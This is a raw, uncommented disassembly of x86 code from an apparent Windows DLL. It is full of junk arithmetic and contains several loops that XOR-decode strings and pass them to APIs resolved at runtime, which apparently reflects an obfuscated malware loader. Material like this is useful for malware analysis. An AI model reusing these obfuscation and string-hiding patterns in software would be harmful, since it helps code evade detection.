sub eax, dword [ebp - 0x228]
jne 0x10033409
mov byte [ebp - 0x55], 1
jmp 0x1003340d
mov byte [ebp - 0x55], 0
mov cl, byte [ebp - 0x55]
mov byte [ebp - 1], cl
movsx edx, word [ebp - 0xc]
mov eax, dword [0x100ad140]
add eax, edx
mov byte [0x100ad00d], al
mov eax, dword [ebp - 0x4c]
cdq
sub eax, dword [0x100ad0e8]
mov dword [ebp - 0x4c], eax
jmp case.default.0x100332ff
movsx ecx, byte [str.ZFreeSid]
sub ecx, 0xd2
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x54]
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x28], 0
jne 0x10033465
xor eax, eax
mov dword [ebp - 0x44c], 1
mov dword [ebp - 0x448], eax
jmp 0x10033470
xorps xmm0, xmm0
movlpd qword [ebp - 0x44c], xmm0
mov eax, dword [ebp - 0x18]
cdq
sub eax, dword [ebp - 0x54]
sbb edx, dword [ebp - 0x50]
sub eax, dword [ebp - 0x44c]
sbb edx, dword [ebp - 0x448]
mov dword [ebp - 0x6b8], eax
mov dword [ebp - 0x6b4], edx
mov ecx, dword [ebp - 0x6b8]
or ecx, dword [ebp - 0x6b4]
jne 0x100334ae
mov edx, 1
mov word [ebp - 0xd2], dx
jmp 0x100334b7
xor eax, eax
mov word [ebp - 0xd2], ax
mov cx, word [ebp - 0xd2]
mov word [0x100ad11c], cx
movzx eax, word [0x100ad0ac]
sub eax, 0x46
cdq
mov dword [0x100ad148], eax
mov dword [0x100ad14c], edx
movsx eax, word [0x100ad11c]
cdq
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
jmp case.default.0x100332ff
mov edx, dword [0x100ad0c8]
add edx, 0x53
mov eax, dword [ebp - 0x28]
xor eax, edx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x24], 0x10
movzx ecx, word [ebp - 8]
test ecx, ecx
jne 0x10033517
mov dword [ebp - 0x43c], 1
jmp 0x10033521
mov dword [ebp - 0x43c], 0
movzx edx, byte [ebp - 2]
mov eax, dword [ebp - 0x43c]
sub eax, edx
mov byte [str.px_04X_], al
mov eax, dword [0x100ad108]
mov edx, dword [0x100ad10c]
mov cl, 3
call fcn.1007a8e0
mov word [ebp - 0xc], ax
jmp 0x100335e6
movsx ecx, byte [0x100ad043]
test ecx, ecx
je 0x100335e6
movsx eax, word [0x100ad11c]
cdq
mov esi, eax
mov edi, edx
movsx eax, word [0x100ad0cc]
cdq
push edx
push eax
mov edx, dword [0x100ad0ec]
push edx
mov eax, dword [0x100ad0e8]
push eax
call fcn.1007a8a0
add esi, eax
adc edi, edx
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x50], edi
movzx ecx, byte [0x100ad072]
movzx edx, byte [0x100ad00f]
add ecx, edx
movzx eax, byte [0x100ad072]
add eax, ecx
mov byte [0x100ad072], al
movzx ecx, word [ebp - 8]
mov dword [ebp - 0x18], ecx
movzx edx, byte [ebp - 2]
movzx eax, word [0x100ad0ac]
add edx, eax
jne 0x100335d0
mov ecx, 1
mov word [ebp - 0xc4], cx
jmp 0x100335d9
xor edx, edx
mov word [ebp - 0xc4], dx
mov ax, word [ebp - 0xc4]
mov word [0x100ad0f0], ax
jmp 0x10033688
movsx eax, word [ebp - 0xc]
cdq
mov ecx, dword [0x100ad108]
mov esi, dword [0x100ad10c]
push esi
push ecx
push edx
push eax
call fcn.1007a8a0
mov dword [ebp - 0x6c0], eax
mov dword [ebp - 0x6bc], edx
mov edx, dword [ebp - 0x6c0]
or edx, dword [ebp - 0x6bc]
je 0x10033638
mov eax, dword [0x100ad150]
or eax, dword [0x100ad154]
je 0x10033638
mov dword [ebp - 0x438], 1
jmp 0x10033642
mov dword [ebp - 0x438], 0
mov ecx, dword [ebp - 0x438]
not ecx
test ecx, ecx
je 0x10033688
mov dl, byte [0x100ad00f]
add dl, 1
mov byte [0x100ad00f], dl
movsx eax, byte [0x100ad042]
add eax, 0x7c7cae0e
mov dword [ebp - 0x24], eax
imul ecx, dword [ebp - 0x48], 0x19
movsx edx, byte [0x100ad073]
sub edx, ecx
mov byte [0x100ad073], dl
mov eax, dword [ebp - 0x20]
add eax, 1
mov dword [ebp - 0x20], eax
jmp 0x100336fc
mov cx, word [0x100adbec]
mov word [ebp - 0x10], cx
mov edx, dword [ebp - 0x20]
sub edx, 0x19
xor eax, eax
mov dword [0x100ad0e8], edx
mov dword [0x100ad0ec], eax
mov ecx, dword [ebp - 0x28]
and ecx, dword [ebp - 0x28]
mov dword [ebp - 0x28], ecx
mov edx, dword [0x100ad0d8]
mov eax, dword [0x100ad0dc]
mov ecx, dword [0x100ad0ec]
push ecx
mov ecx, dword [0x100ad0e8]
push ecx
push eax
push edx
call fcn.1007a8a0
not eax
mov byte [ebp - 1], al
xor edx, edx
mov dword [0x100ad0e8], 8
mov dword [0x100ad0ec], edx
mov eax, 0xbe1d6
mov dword [0x100ad128], 0xa394b959
mov dword [0x100ad12c], eax
movsx ecx, word [0x100ad0c0]
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov byte [0x100ad00f], al
movzx eax, word [0x100ad0b8]
imul eax, dword [ebp - 0x18]
cdq
mov dword [0x100ad0e8], eax
mov dword [0x100ad0ec], edx
movsx edx, word [ebp - 0x14]
mov eax, dword [ebp - 0x4c]
imul eax, edx
test eax, eax
jne 0x10033742
mov ecx, 1
mov word [ebp - 0xc2], cx
jmp 0x1003374b
xor edx, edx
mov word [ebp - 0xc2], dx
mov ax, word [ebp - 0xc2]
mov word [0x100ad11c], ax
mov ecx, dword [0x100adbec]
xor edx, edx
mov dword [0x100ad160], ecx
mov dword [0x100ad164], edx
mov eax, dword [0x100adbec]
mov dword [0x100ad118], eax
movzx ecx, byte [0x100ad00f]
mov edx, dword [ebp - 0x28]
add edx, ecx
mov eax, dword [ebp - 0x28]
imul eax, edx
mov dword [ebp - 0x28], eax
mov ecx, dword [0x100ad128]
mov edx, dword [0x100ad12c]
push 0
push 0x40
push edx
push ecx
call fcn.1007a8a0
mov byte [0x100ad0a6], al
movsx eax, word [0x100ad0d0]
sub eax, 0x7ac407fd
movzx ecx, word [0x100ad0f0]
and ecx, eax
mov word [0x100ad0f0], cx
movzx edx, word [ebp - 8]
movsx eax, byte [0x100ad073]
sub edx, eax
mov ecx, dword [ebp - 0x20]
imul ecx, edx
movzx edx, byte [ebp - 3]
imul edx, dword [ebp - 0x24]
movsx eax, byte [0x100ad037]
sub eax, dword [ebp - 0x2c]
add edx, eax
sub ecx, edx
mov dword [ebp - 0x48], ecx
movzx ecx, word [0x100ad120]
imul edx, ecx, 0xa1
mov dword [0x100ad15c], edx
mov eax, 0x434e
mov word [ebp - 0x14], ax
movsx ecx, word [0x100ad0c4]
movzx edx, word [0x100ad0ac]
cmp ecx, edx
jg 0x10033829
mov dword [ebp - 0x420], 1
jmp 0x10033833
mov dword [ebp - 0x420], 0
movsx eax, word [0x100ad0c4]
cmp eax, 0x15
jg 0x1003384b
mov dword [ebp - 0x41c], 1
jmp 0x10033855
mov dword [ebp - 0x41c], 0
mov ecx, dword [ebp - 0x420]
cmp ecx, dword [ebp - 0x41c]
jge 0x100338a2
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x9b4], eax
xor edx, 0x9d18
mov word [ebp - 8], dx
imul ecx, dword [ebp - 0x4c], 0x62e8
mov word [0x100ad130], cx
mov edx, dword [ebp - 0x28]
xor eax, eax
push 0xdd337
push 0x9fc5e4ab
push eax
push edx
call fcn.1007a8a0
mov byte [ebp - 4], al
jmp 0x100338d4
mov ecx, dword [ebp - 0x2c]
sub ecx, 0x2f9c346
movsx edx, word [0x100ad0c4]
sub edx, ecx
mov word [0x100ad0c4], dx
movzx eax, word [ebp - 8]
add eax, dword [0x100ad0c8]
mov word [ebp - 8], ax
movzx ecx, byte [ebp - 1]
imul edx, ecx, 0x59
mov word [ebp - 0x14], dx
xor eax, eax
mov byte [ebp - 0x67], al
lea ecx, [ebp - 0xb60]
push ecx
lea ecx, [ebp - 0x67]
call fcn.10002b40
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0xf0], 0
jmp 0x10033909
mov edx, dword [ebp - 0xf0]
add edx, 1
mov dword [ebp - 0xf0], edx
cmp dword [ebp - 0xf0], 0xe
jae 0x1003396b
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xf4]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 0x5fc], edx
mov eax, dword [ebp - 0x5fc]
movzx ecx, word [eax]
mov edx, dword [ebp - 0xf4]
movsx eax, byte [edx]
xor ecx, eax
mov word [ebp - 0x126], cx
mov ecx, dword [ebp - 0xf0]
mov edx, dword [ebp - 0xf4]
lea eax, [edx + ecx*2 + 2]
mov dword [ebp - 0x600], eax
mov ecx, dword [ebp - 0x600]
mov dx, word [ebp - 0x126]
mov word [ecx], dx
jmp 0x100338fa
mov eax, 0xe
shl eax, 1
mov ecx, dword [ebp - 0xf4]
lea edx, [ecx + eax + 2]
mov dword [ebp - 0x604], edx
xor eax, eax
mov ecx, dword [ebp - 0x604]
mov word [ecx], ax
mov edx, dword [ebp - 0xf4]
add edx, 2
mov dword [ebp - 0x608], edx
push 0x410
lea eax, [ebp - 0x10d4]
push eax
mov ecx, dword [ebp - 0x608]
push ecx
push 0
push 0
call fcn.10001350
call eax
xor edx, edx
mov byte [ebp - 0x5b], dl
lea eax, [ebp - 0xc46]
push eax
lea ecx, [ebp - 0x5b]
call fcn.10003160
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0xf8], 0
jmp 0x100339ef
mov ecx, dword [ebp - 0xf8]
add ecx, 1
mov dword [ebp - 0xf8], ecx
cmp dword [ebp - 0xf8], 0x17
jae 0x10033a51
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xfc]
lea ecx, [eax + edx*2 + 2]
mov dword [ebp - 0x60c], ecx
mov edx, dword [ebp - 0x60c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0xfc]
movsx edx, byte [ecx]
xor eax, edx
mov word [ebp - 0x128], ax
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xfc]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 0x610], edx
mov eax, dword [ebp - 0x610]
mov cx, word [ebp - 0x128]
mov word [eax], cx
jmp 0x100339e0
mov edx, 0x17
shl edx, 1
mov eax, dword [ebp - 0xfc]
lea ecx, [eax + edx + 2]
mov dword [ebp - 0x614], ecx
xor edx, edx
mov eax, dword [ebp - 0x614]
mov word [eax], dx
mov ecx, dword [ebp - 0xfc]
add ecx, 2
mov dword [ebp - 0x618], ecx
push 0x410
lea edx, [ebp - 0x14e4]
push edx
mov eax, dword [ebp - 0x618]
push eax
push 0
push 0
call fcn.10001350
call eax
xor ecx, ecx
mov byte [ebp - 0x5c], cl
lea edx, [ebp - 0xc14]
push edx
lea ecx, [ebp - 0x5c]
call fcn.100038d0
mov dword [ebp - 0x104], eax
mov dword [ebp - 0x100], 0
jmp 0x10033ad5
mov eax, dword [ebp - 0x100]
add eax, 1
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0x16
jae 0x10033b37
mov ecx, dword [ebp - 0x100]
mov edx, dword [ebp - 0x104]
lea eax, [edx + ecx*2 + 2]
mov dword [ebp - 0x61c], eax
mov ecx, dword [ebp - 0x61c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x104]
movsx ecx, byte [eax]
xor edx, ecx
mov word [ebp - 0x12a], dx
mov edx, dword [ebp - 0x100]
mov eax, dword [ebp - 0x104]
lea ecx, [eax + edx*2 + 2]
mov dword [ebp - 0x620], ecx
mov edx, dword [ebp - 0x620]
mov ax, word [ebp - 0x12a]
mov word [edx], ax
jmp 0x10033ac6
mov ecx, 0x16
shl ecx, 1
mov edx, dword [ebp - 0x104]
lea eax, [edx + ecx + 2]
mov dword [ebp - 0x624], eax
xor ecx, ecx
mov edx, dword [ebp - 0x624]
mov word [edx], cx
mov eax, dword [ebp - 0x104]
add eax, 2
mov dword [ebp - 0x628], eax
push 0x410
lea ecx, [ebp - 0x18f4]
push ecx
mov edx, dword [ebp - 0x628]
push edx
push 0
push 0
call fcn.10001350
call eax
xor eax, eax
mov byte [ebp - 0x5d], al
lea ecx, [ebp - 0xb8c]
push ecx
lea ecx, [ebp - 0x5d]
call fcn.10003e50
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], 0
jmp 0x10033bbb
mov edx, dword [ebp - 0xb4]
add edx, 1
mov dword [ebp - 0xb4], edx
cmp dword [ebp - 0xb4], 0x14
jae 0x10033c1d
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0xb8]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 0x62c], edx
mov eax, dword [ebp - 0x62c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0xb8]
movsx eax, byte [edx]
xor ecx, eax
mov word [ebp - 0x12c], cx
mov ecx, dword [ebp - 0xb4]
mov edx, dword [ebp - 0xb8]
lea eax, [edx + ecx*2 + 2]
mov dword [ebp - 0x630], eax
mov ecx, dword [ebp - 0x630]
mov dx, word [ebp - 0x12c]
mov word [ecx], dx
jmp 0x10033bac
mov eax, 0x14
shl eax, 1
mov ecx, dword [ebp - 0xb8]
lea edx, [ecx + eax + 2]
mov dword [ebp - 0x634], edx
xor eax, eax
mov ecx, dword [ebp - 0x634]
mov word [ecx], ax
mov edx, dword [ebp - 0xb8]
add edx, 2
mov dword [ebp - 0x638], edx
push 0x410
lea eax, [ebp - 0x1d04]
push eax
mov ecx, dword [ebp - 0x638]
push ecx
push 0
push 0
call fcn.10001350
call eax
xor edx, edx
mov byte [ebp - 0x5e], dl
lea eax, [ebp - 0xaf4]
push eax
lea ecx, [ebp - 0x5e]
call fcn.100041f0
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0xbc], 0
jmp 0x10033c9e
mov ecx, dword [ebp - 0xbc]
add ecx, 1
mov dword [ebp - 0xbc], ecx
cmp dword [ebp - 0xbc], 0xa
jae 0x10033cf7
mov edx, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x6c]
lea ecx, [eax + edx*2 + 2]
mov dword [ebp - 0x63c], ecx
mov edx, dword [ebp - 0x63c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x6c]
movsx edx, byte [ecx]
xor eax, edx
mov word [ebp - 0x12e], ax
mov eax, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0x6c]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 0x640], edx
mov eax, dword [ebp - 0x640]
mov cx, word [ebp - 0x12e]
mov word [eax], cx
jmp 0x10033c8f
mov edx, 0xa
shl edx, 1
mov eax, dword [ebp - 0x6c]
lea ecx, [eax + edx + 2]
mov dword [ebp - 0x644], ecx
xor edx, edx
mov eax, dword [ebp - 0x644]
mov word [eax], dx
mov ecx, dword [ebp - 0x6c]
add ecx, 2
mov dword [ebp - 0x648], ecx
mov edx, dword [ebp - 0x648]
push edx
lea eax, [ebp - 0x10d4]
push eax
push 0
push 0
call fcn.10001320
call eax
lea ecx, [ebp - 0x14e4]
push ecx
lea edx, [ebp - 0x10d4]
push edx
push 0
push 0
call fcn.10001320
call eax
xor eax, eax
mov byte [ebp - 0x5f], al
lea ecx, [ebp - 0xb40]
push ecx
lea ecx, [ebp - 0x5f]
call fcn.100042a0
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x70], 0
jmp 0x10033d7d
mov edx, dword [ebp - 0x70]
add edx, 1
mov dword [ebp - 0x70], edx
cmp dword [ebp - 0x70], 0xc
jae 0x10033dcd
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x74]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 0x64c], edx
mov eax, dword [ebp - 0x64c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x74]
movsx eax, byte [edx]
xor ecx, eax
mov word [ebp - 0x130], cx
mov ecx, dword [ebp - 0x70]
mov edx, dword [ebp - 0x74]
lea eax, [edx + ecx*2 + 2]
mov dword [ebp - 0x650], eax
mov ecx, dword [ebp - 0x650]
mov dx, word [ebp - 0x130]
mov word [ecx], dx
jmp 0x10033d74
mov eax, 0xc
shl eax, 1
mov ecx, dword [ebp - 0x74]
lea edx, [ecx + eax + 2]
mov dword [ebp - 0x654], edx
xor eax, eax
mov ecx, dword [ebp - 0x654]
mov word [ecx], ax
mov edx, dword [ebp - 0x74]
add edx, 2
mov dword [ebp - 0x658], edx
mov eax, dword [ebp - 0x658]
push eax
lea ecx, [ebp - 0x2d08]
push ecx
push 0
push 0
call fcn.10001470
call eax
lea edx, [ebp - 0x18f4]
push edx
lea eax, [ebp - 0x2d08]
push eax
push 0
push 0
call fcn.10001320
call eax
xor ecx, ecx
mov byte [ebp - 0x60], cl
lea edx, [ebp - 0xb0c]
push edx
lea ecx, [ebp - 0x60]
call fcn.10004530
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0xec], 0
jmp 0x10033e5f
mov eax, dword [ebp - 0xec]
add eax, 1
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0xa
jae 0x10033ec1
mov ecx, dword [ebp - 0xec]
mov edx, dword [ebp - 0xe4]
lea eax, [edx + ecx*2 + 2]
mov dword [ebp - 0x65c], eax
mov ecx, dword [ebp - 0x65c]
movzx edx, word [ecx]
mov eax, dword [ebp - 0xe4]
movsx ecx, byte [eax]
xor edx, ecx
mov word [ebp - 0x132], dx
mov edx, dword [ebp - 0xec]
mov eax, dword [ebp - 0xe4]
lea ecx, [eax + edx*2 + 2]
mov dword [ebp - 0x660], ecx
mov edx, dword [ebp - 0x660]
mov ax, word [ebp - 0x132]
mov word [edx], ax
jmp 0x10033e50
mov ecx, 0xa
shl ecx, 1
mov edx, dword [ebp - 0xe4]
lea eax, [edx + ecx + 2]
mov dword [ebp - 0x664], eax
xor ecx, ecx
mov edx, dword [ebp - 0x664]
mov word [edx], cx
mov eax, dword [ebp - 0xe4]
add eax, 2
mov dword [ebp - 0x668], eax
mov ecx, dword [ebp - 0x668]
push ecx
lea edx, [ebp - 0x2d08]
push edx
push 0
push 0
call fcn.10001320
call eax
lea eax, [ebp - 0x1d04]
push eax
lea ecx, [ebp - 0x2d08]
push ecx
push 0
push 0
call fcn.10001320
call eax
mov eax, dword [ebp - 0x24]
cdq
add eax, 0xbaeac047
mov dx, word [ebp - 8]
mov ecx, eax
shl dx, cl
mov word [ebp - 8], dx
mov eax, dword [ebp - 0x4c]
xor eax, 0x6b77a88a
movzx ecx, word [ebp - 0x10]
add ecx, eax
mov word [ebp - 0x10], cx
movzx edx, word [ebp - 8]
test edx, edx
jne 0x10033f60
mov dword [ebp - 0x418], 1
jmp 0x10033f6a
mov dword [ebp - 0x418], 0
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0x418]
cdq
mov dword [0x100ad148], eax
mov dword [0x100ad14c], edx
mov eax, dword [ebp - 0x414]
add eax, 0x32f
cmp eax, dword [ebp - 0x414]
je 0x1003b444
movzx ecx, word [ebp - 8]
add ecx, dword [ebp - 0x48]
jne 0x10033fac
mov dword [ebp - 0x40c], 1
jmp 0x10033fb6
mov dword [ebp - 0x40c], 0
mov edx, dword [ebp - 0x40c]
mov dword [ebp - 0x28], edx
mov dword [0x100ad0e0], 8
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x38]
sub eax, 0x101226f7
sbb ecx, 0x4e0e4
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x44]
add edx, 0x1a397f60
mov dword [ebp - 0x2c], edx
imul eax, dword [ebp - 0x18], 0x75
imul eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
mov ecx, dword [0x100ad140]
mov edx, 4
imul eax, edx, 0xda6c
mov dword [eax + 0x10170bc0], ecx
mov dword [0x100ad118], 0xbb
movsx ecx, byte [0x100ad073]
imul edx, ecx, 0x3836
movsx eax, word [0x100ad0c0]
xor eax, edx
mov word [0x100ad0c0], ax
movzx ecx, word [0x100ad0b8]
imul edx, ecx, 0xffffaf2e
movsx eax, word [0x100ad0cc]
not eax
mov ecx, dword [ebp - 0x18]
not ecx
sub eax, ecx
not eax
imul edx, eax
test edx, edx
jne 0x10034060
mov byte [ebp - 0x56], 1
jmp 0x10034064
mov byte [ebp - 0x56], 0
mov dl, byte [ebp - 0x56]
mov byte [ebp - 3], dl
mov eax, dword [ebp - 0x2c]
cdq
mov ecx, dword [0x100ad0ec]
push ecx
mov ecx, dword [0x100ad0e8]
push ecx
push edx
push eax
call fcn.1007a8a0
mov ecx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x30]
push edx
push eax
push esi
push ecx
call fcn.1007a8a0
mov dword [ebp - 0x6c8], eax
mov dword [ebp - 0x6c4], edx
mov edx, dword [ebp - 0x6c8]
or edx, dword [ebp - 0x6c4]
jne 0x100340c0
xor eax, eax
mov dword [ebp - 0x454], 1
mov dword [ebp - 0x450], eax
jmp 0x100340cb
xorps xmm0, xmm0
movlpd qword [ebp - 0x454], xmm0
mov ecx, dword [ebp - 0x454]
mov edx, dword [ebp - 0x450]
mov dword [0x100ad110], ecx
mov dword [0x100ad114], edx
mov eax, dword [0x100adbec]
mov dword [ebp - 0x174], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov byte [str.ZFreeSid], al
movsx ecx, byte [str.ZFreeSid]
test ecx, ecx
jg 0x1003411b
mov edx, dword [0x100ad100]
push edx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov byte [str.ZFreeSid], al
jmp 0x10034255
movsx eax, byte [0x100ad042]
test eax, eax
jne 0x10034132
mov dword [ebp - 0x370], 1
jmp 0x1003413c
mov dword [ebp - 0x370], 0
mov ecx, dword [0x100ad158]
cmp ecx, dword [ebp - 0x370]
je 0x10034156
mov dword [ebp - 0x410], 1
jmp 0x10034160
mov dword [ebp - 0x410], 0
movsx edx, word [ebp - 0xc]
movzx eax, byte [ebp - 1]
imul edx, eax
cmp edx, dword [ebp - 0x410]
je 0x10034255
movsx ecx, word [ebp - 0xc]
mov edx, dword [ebp - 0x1c]
sub edx, ecx
mov dword [ebp - 0x1c], edx
movzx eax, byte [ebp - 2]
sub eax, dword [0x100ad0e0]
movzx ecx, byte [ebp - 2]
add ecx, eax
mov byte [ebp - 2], cl
movsx edx, word [0x100ad0bc]
movzx eax, word [0x100ad0f0]
add edx, eax
movsx ecx, word [0x100ad0bc]
imul ecx, edx
mov word [0x100ad0bc], cx
cmp dword [ebp - 0x18], 0
jne 0x100341c9
mov dword [ebp - 0x22c], 1
jmp 0x100341d3
mov dword [ebp - 0x22c], 0
mov edx, dword [ebp - 0x20]
sub edx, dword [ebp - 0x22c]
not edx
movzx eax, byte [ebp - 4]
sub eax, dword [ebp - 0x24]
add edx, eax
jne 0x100341fd
xor ecx, ecx
mov dword [ebp - 0x45c], 1
mov dword [ebp - 0x458], ecx
jmp 0x10034208
xorps xmm0, xmm0
movlpd qword [ebp - 0x45c], xmm0
mov edx, dword [ebp - 0x45c]
mov eax, dword [ebp - 0x458]
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x40], eax
movsx ecx, byte [0x100ad09a]
test ecx, ecx
je 0x10034239
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x464], edx
mov dword [ebp - 0x460], eax
jmp 0x10034249
mov eax, dword [ebp - 0x48]
cdq
mov dword [ebp - 0x464], eax
mov dword [ebp - 0x460], edx
mov cl, byte [ebp - 0x464]
mov byte [str.E2_wcsrchr], cl
mov edx, dword [ebp - 0x174]
add edx, 0xb3e0
mov dword [ebp - 0x66c], edx
movsx eax, word [0x100ad0b0]
push eax
call dword [sym.imp.USER32.dll_IsWindowVisible]
mov word [ebp - 0x14], ax
mov ecx, dword [ebp - 0x174]
add ecx, 0x8fc3
mov dword [ebp - 0x9b8], ecx
cmp dword [0x100ad0b4], 0
je 0x10034333
movsx edx, byte [str.ZFreeSid]
sub edx, 0xe8
mov word [0x100ad0c0], dx
mov ecx, dword [0x100ad128]
mov edx, dword [0x100ad12c]
mov dword [ebp - 0x9bc], edx
xor ecx, 0xffff283c
movzx eax, word [0x100ad0b8]
movzx edx, byte [str.px_04X_]
imul eax, edx
cdq
sub ecx, eax
mov eax, dword [ebp - 0x2c]
cdq
mov esi, eax
movsx eax, byte [0x100ad042]
cdq
xor eax, dword [0x100ad160]
sub esi, eax
not esi
add ecx, esi
mov dword [ebp - 0x18], ecx
mov eax, dword [0x100ad0f8]
add eax, 0x6478
mov dword [ebp - 0x2c], eax
mov eax, dword [0x100ad15c]
cdq
mov ecx, eax
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x9c0], eax
sub ecx, edx
mov eax, dword [0x100ad15c]
cdq
sub eax, ecx
mov dword [0x100ad15c], eax
mov ecx, dword [0x100adbec]
mov dword [0x100ad158], ecx
jmp 0x100343a1
movsx edx, word [ebp - 0x14]
test edx, edx
je 0x100343a1
movsx eax, word [ebp - 0xc]
not eax
test eax, eax
je 0x100343a1
mov ecx, dword [0x100ad140]
add ecx, dword [ebp - 0x20]
mov dword [0x100ad140], ecx
mov edx, dword [ebp - 0x48]
sub edx, dword [0x100ad0a8]
add edx, dword [ebp - 0x48]
mov dword [ebp - 0x48], edx
movsx eax, byte [0x100ad042]
movzx ecx, word [ebp - 0x10]
add eax, dword [ebp - 0x1c]
add ecx, eax
mov word [0x100ad0c4], cx
movzx edx, byte [0x100ad072]
mov eax, dword [ebp - 0x4c]
sub eax, edx
mov dword [0x100ad118], eax
movzx ecx, byte [ebp - 3]
movsx edx, word [0x100ad130]
add ecx, edx
movzx eax, byte [ebp - 3]
add eax, ecx
mov byte [ebp - 3], al
mov ecx, dword [ebp - 0x174]
add ecx, 0x15dd
mov dword [ebp - 0x9c4], ecx
movzx edx, word [0x100ad0b8]
add edx, 0x21d5ae5b
movzx eax, word [ebp - 8]
imul eax, edx
mov word [ebp - 8], ax
movsx ecx, word [0x100ad0c0]
movzx edx, byte [str.px_04X_]
sub ecx, edx
mov word [0x100ad120], cx
mov eax, dword [0x100ad15c]
xor eax, 0x9fc40441
mov ecx, dword [ebp - 0x2c]
sub ecx, eax
mov dword [ebp - 0x2c], ecx
mov byte [str.ZFreeSid], 0x81
mov edx, 4
mov word [ebp - 0x10], dx
movzx eax, byte [ebp - 3]
sub eax, dword [ebp - 0x48]
mov byte [ebp - 3], al
movzx ecx, byte [str.px_04X_]
sub ecx, 0x1f86
mov word [0x100ad0d0], cx
movsx edx, word [ebp - 0xc]
movzx eax, byte [ebp - 2]
or edx, eax
jne 0x10034442
xor ecx, ecx
mov dword [ebp - 0x46c], 1
mov dword [ebp - 0x468], ecx
jmp 0x1003444d
xorps xmm0, xmm0
movlpd qword [ebp - 0x46c], xmm0
mov eax, dword [ebp - 0x18]
cdq
add eax, dword [0x100ad110]
adc edx, dword [0x100ad114]
not eax
not edx
mov ecx, dword [ebp - 0x468]
push ecx
mov ecx, dword [ebp - 0x46c]
push ecx
push edx
push eax
call fcn.1007a8a0
mov ecx, eax
movsx eax, byte [0x100ad037]
cdq
xor ecx, eax
mov word [0x100ad120], cx
movsx edx, word [0x100ad0cc]
add edx, dword [0x100ad158]
not edx
mov byte [0x100ad00e], dl
movzx eax, word [ebp - 0x10]
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 4
ja case.default.0x100344bb
mov ecx, dword [ebp - 0x230]
jmp dword [ecx*4 + 0x1003b870]
movzx edx, byte [0x100ad00f]
movzx eax, byte [ebp - 2]
imul edx, eax
movzx ecx, byte [0x100ad00f]
add ecx, edx
mov byte [0x100ad00f], cl
movsx edx, byte [str.ZFreeSid]
sub edx, 0xfae5
mov eax, dword [0x100ad140]
sub eax, edx
mov dword [0x100ad140], eax
mov ecx, dword [ebp - 0x44]
add ecx, 0x3947d01b
movsx eax, byte [0x100ad043]
cdq
sub eax, ecx
mov byte [0x100ad043], al
movsx edx, word [ebp - 0x14]
imul eax, edx, 0x6a52
mov dword [ebp - 0x28], eax
mov ecx, dword [0x100ad0e8]
add ecx, 0x94928cf3
mov dword [ebp - 0x4c], ecx
jmp case.default.0x100344bb
mov dl, byte [0x100adbec]
mov byte [ebp - 1], dl
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
push 0
push 0x5464e745
push ecx
push eax
call fcn.1007a8a0
mov dword [ebp - 0x28], eax
movzx edx, word [ebp - 0x10]
add edx, 0xb768
mov byte [ebp - 3], dl
mov ax, word [0x100adbec]
mov word [ebp - 0x14], ax
jmp case.default.0x100344bb
mov eax, dword [ebp - 0x24]
not eax
add eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x18]
sub edx, ecx
not edx
sub eax, edx
cdq
mov dword [0x100ad128], eax
mov dword [0x100ad12c], edx
mov ax, word [0x100adbec]
mov word [0x100ad0f0], ax
movzx ecx, byte [0x100ad0a6]
add ecx, 0x397c
mov edx, dword [0x100ad0a8]
add edx, ecx
mov dword [0x100ad0a8], edx
jmp case.default.0x100344bb
mov eax, dword [0x100ad0a8]
imul eax, dword [ebp - 0x48]
not eax
mov word [0x100ad130], ax
mov ecx, dword [ebp - 0x4c]
add ecx, 0xb56e
mov word [0x100ad0d0], cx
xor edx, edx
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
sub eax, dword [ebp - 0x20]
sbb ecx, edx
mov edx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x30]
add edx, eax
adc esi, ecx
mov dword [ebp - 0x34], edx
